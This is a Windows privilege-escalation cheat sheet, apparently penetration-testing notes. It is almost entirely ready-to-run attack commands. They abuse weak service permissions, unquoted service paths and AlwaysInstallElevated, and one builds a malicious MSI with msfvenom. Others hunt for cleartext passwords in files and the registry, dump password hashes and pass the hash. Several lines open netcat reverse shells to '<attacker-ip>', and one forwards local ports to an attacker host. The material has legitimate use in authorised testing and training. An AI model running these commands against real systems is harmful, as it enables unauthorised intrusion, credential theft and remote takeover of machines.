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Windows Privilege Escalation Examples

Weak Service Permissions

Writable Service Executables

If a services is found which runs as SYSTEM or Administrator level users, and it has weak file permissions, we may be able to replace the service binary, restart the service, and escalate privileges.

Use wmic to extract a list of service executables:

for /f "tokens=2 delims='='" %a in ('wmic service list full^|find /i "pathname"^|find /i /v "system32"') do @echo %a >> c:\windows\temp\services.txt

If wmic is not available:

sc query state= all | findstr "SERVICE_NAME:" >> servicenames.txt
FOR /F "tokens=2 delims= " %i in (servicenames.txt) DO @echo %i >> services.txt
FOR /F %i in (services.txt) DO @sc qc %i | findstr "BINARY_PATH_NAME" >> path.txt

Then use either accesschk.exe, cacls, or icacls to list the access permissions associated with each service executable:

for /f eol^=^"^ delims^=^" %a in (c:\windows\temp\services.txt) do cmd.exe /c accesschk.exe /accepteula -qv "%a" >> accesschk.txt

for /f eol^=^"^ delims^=^" %a in (c:\windows\temp\services.txt) do cmd.exe /c cacls "%a" >> cacls.txt

for /f eol^=^"^ delims^=^" %a in (c:\windows\temp\services.txt) do cmd.exe /c icacls "%a" >> icacls.txt

With accesschk results, look for the following permissions:

Permission Use Case
SERVICE_ALL_ACCESS Can do anything.
SERVICE_CHANGE_CONFIG Can reconfigure the service binary.
WRITE DAC Can reconfigure permissions, leading to SERVICE_CHANGE_CONFIG.
WRITE_OWNER Can become owner, reconfigure permissions.
GENERIC_WRITE Inherits SERVICE_CHANGE_CONFIG
GENERIC_ALL Inherits SERVICE_CHANGE_CONFIG

With cacls and icacls, look for (F)ull Access, (M)odify access, (W)rite-only access, (WDAC) write DAC, or (WO) write owner.

Writable Service Objects

Use accesschk.exe to find writable service objects:

accesschk.exe /accepteula -uwcqv "Authenticated Users" *

Query a vulnerable service:

sc qc <service>

Update the service binary path:

sc config <service> binpath= "<command>"

Update the name of the account which a service runs as:

sc config upnphost obj= ".\LocalSystem" password= ""

Stop / Start a service:

wmic service <service> call stopservice
wmic service <service> call startservice

net stop <service>
net start <service>

sc stop <service>
sc start <service>

If the service fails to start because of a dependency, you can start the dependency manually, or remove the dependency:

sc config <service> depend= ""

All-in-one comnand:

sc config <service> binPath= "<command>" depend= "" start= demand obj= ".\LocalSystem" password= ""

Unquoted Service Paths

Find unquoted service paths:

wmic service get name,displayname,pathname,startmode | findstr /i "Auto" | findstr /i /v "C:\Windows\\" | findstr /i /v """

If the unquoted service path is C:\Program Files\path to\service.exe, you can place a binary in any of the following paths:

C:\Program.exe
C:\Program Files.exe
C:\Program Files\path.exe
C:\Program Files\path to.exe
C:\Program Files\path to\service.exe

Cleartext Passwords

Find passwords in arbitrary files:

findstr /si password *.txt *.xml *.ini

Find strings in filenames:

dir /s *pass* == *cred* == *vnc* == *.config*

Find passwords in all files:

findstr /spin "password" *.*

Common files which contain passwords:

type c:\sysprep.inf
type c:\sysprep\sysprep.xml
type c:\unattend.xml
type %WINDIR%\Panther\Unattend\Unattended.xml
type %WINDIR%\Panther\Unattended.xml
dir c:*vnc.ini /s /b
dir c:*ultravnc.ini /s /b
dir c:\ /s /b | findstr /si *vnc.ini

Search for passwords in the registry:

reg query HKLM /f password /t REG_SZ /s
reg query HKCU /f password /t REG_SZ /s
reg query "HKLM\SOFTWARE\Microsoft\Windows NT\Currentversion\Winlogon"
reg query "HKLM\SYSTEM\Current\ControlSet\Services\SNMP"
reg query "HKCU\Software\SimonTatham\PuTTY\Sessions"
reg query HKEY_LOCAL_MACHINE\SOFTWARE\RealVNC\WinVNC4 /v password

Passing the Hash

The following commands can be used to dump password hashes:

wce32.exe -w
wce64.exe -w
fgdump.exe

Remote

Pass the hash remotely to gain a shell:

pth-winexe -U <domain>/<username>%<hash> //<target-ip> cmd

Sometimes you may need to reference the target by its hostname (add an entry to /etc/hosts to make it resolve):

pth-winexe -U <domain>/<username>%<hash> //<target-hostname> cmd

Alternative:

export SMBHASH=<hash>
pth-winexe -U <domain>/<username>% //<target-ip> cmd

Local

Pass the hash locally using runas:

C:\Windows\System32\runas.exe /env /noprofile /user:<username> <hash> "C:\Windows\Temp\nc.exe <attacker-ip> 53 -e cmd.exe"

Pass the hash locally using PowerShell:

secpasswd = ConvertTo-SecureString "<hash>" -AsPlainText -Force
mycreds = New-Object System.Management.Automation.PSCredential ("<user>", $secpasswd)
computer = "<hostname>"
[System.Diagnostics.Process]::Start("C:\Windows\Temp\nc.exe","<attacker-ip> 53 -e cmd.exe", $mycreds.Username, $mycreds.Password, $computer)

Pass the hash locally using psexec:

psexec64 \\<hostname> -u <username> -p <hash> -h "C:\Windows\Temp\nc.exe <attacker-ip> 53 -e cmd.exe"

Loopback Services

Search for services listening on the loopback interface:

netstat -ano | findstr "LISTEN"

Use plink.exe to forward the loopback port to a port on our attacking host (via SSH):

plink.exe -l <attacker-username> -pw <attacker-password> <attacker-ip> -R <attacker-port>:127.0.0.1:<target-port>

AlwaysInstallElevated

AlwaysInstallElevated is a setting that allows non-privileged users the ability to run Microsoft Windows Installer Package Files (MSI) with elevated (SYSTEM) permissions.

Both the following registry values must be set to "1" for this to work:

reg query HKCU\SOFTWARE\Policies\Microsoft\Windows\Installer /v AlwaysInstallElevated
reg query HKLM\SOFTWARE\Policies\Microsoft\Windows\Installer /v AlwaysInstallElevated

Create a malicious MSI:

msfvenom -p windows/adduser USER=pwned PASS=P@ssw0rd -f msi -o evil.msi

Use msiexec to run the malicious MSI:

msiexec /quiet /qn /i C:\evil.msi

Stored Credentials

If there are stored credentials, we can run commands as that user:

$ cmdkey /list

Currently stored credentials:

Target: Domain:interactive=PWNED\Administrator
Type: Domain Password
User: PWNED\Administrator

Execute commands by using runas with the /savecred argument. Note that full paths are generally needed:

runas /user:PWNED\Administrator /savecred "C:\Windows\System32\cmd.exe /c C:\Users\Public\nc.exe -nv <attacker-ip> <attacker-port> -e cmd.exe"